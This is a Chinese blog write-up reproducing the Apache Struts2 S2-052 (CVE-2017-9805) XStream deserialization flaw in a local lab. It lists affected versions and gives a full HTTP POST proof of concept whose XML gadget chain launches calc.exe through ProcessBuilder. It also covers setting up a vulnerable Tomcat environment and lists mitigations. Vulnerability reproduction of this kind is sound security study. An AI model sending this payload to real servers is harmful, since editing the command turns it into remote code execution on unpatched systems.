• 【漏洞复现】S2-052 (CVE-2017-9805)


    一、漏洞描述

             Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行。

    二、受影响版本

             Struts2.5 – Struts2.5.12版本

             Struts2.3.33版本

    三、漏洞POC

    POST /struts2-rest-showcase/orders/3/edit HTTP/1.1
    Host: localhost:8888
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    DNT: 1
    Referer: http://localhost:8888/struts2-rest-showcase/orders.xhtml
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
    Cookie: JSESSIONID=3B1C6366CDF4E1B8D47B5FA91B5452B8
    Connection: close
    Content-Type: application/xml
    Content-Length: 1517
     
    
    <map> 
    <entry> 
    <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
    </entry> 
    </map>

    四、漏洞复现

    漏洞环境包

    从struts2的官网下载最后受影响的版本struts-2.5.12,地址: 

    http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip

    注意下载struts-2.5.12-apps即可,不需要下载struts-2.5.12-all.zip。不然struts-2.5.12-all.zip中包含很多其他的东西。 

    Tomcat环境部署

    直接使用XAMPP软件。可一键部署Struts环境的部署。

     

    注意:启动Tomcat时可能出现错误打不开,发现是端口被占用,通过查看进程,发现是由于burpsuit默认监听的端口也是8080,在启动burpsuit时会打不开Tomcat,解决办法:修改burpsuit的监听端口。

    启动之后访问127.0.0.1:8080,出现以下页面表示环境搭建成功。

    漏洞环境部署

    拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下,然后设置一下conf/server.xml文件即可。 

     

    这里把appBase设置为webapps目录,然后unpackWARs设置为true,这样就会自动解包xxx.war,autoDeploy也设置为true(热部署?) 然后就可以浏览器访问了。

     

    漏洞复现

    之后点击任意一个进行编辑,点击提交post数据,使用burpsuit进行拦截抓包。将请求中的Content-Type的值改为 application/xml,然后POST的数据用PoC中的xml内容代替。

    可以看到,返回页面显示报错信息,并成功弹出计算器。

     

    五、解决方案

          1、升级到Apache Struts版本2.5.13

          2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:

    <constant name="struts.action.extension" value="xhtml,,json" />

          3、限制服务端扩展类型,删除XML支持。

          由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是:

    org.apache.struts2.rest.handler.AllowedClasses

    org.apache.struts2.rest.handler.AllowedClassNames

    org.apache.struts2.rest.handler.XStreamPermissionProvider

    笨鸟先飞早入林,笨人勤学早成材。
    转载请注明出处: 撰写人:fox-yu http://www.cnblogs.com/fox-yu/
  • 相关阅读:
    SQL INNER JOIN
    SQL JOIN
    SQL OUTER JOIN
    SQL CROSS JOIN
    SQL 基础:Select语句,各种join,union用法
    Morton Code
    vs 字体
    sql 语言
    sqllite3
    linux怎么区别文本文件和二进制文件
  • 原文地址:https://www.cnblogs.com/fox-yu/p/7867432.html
Copyright © 2020-2023  润新知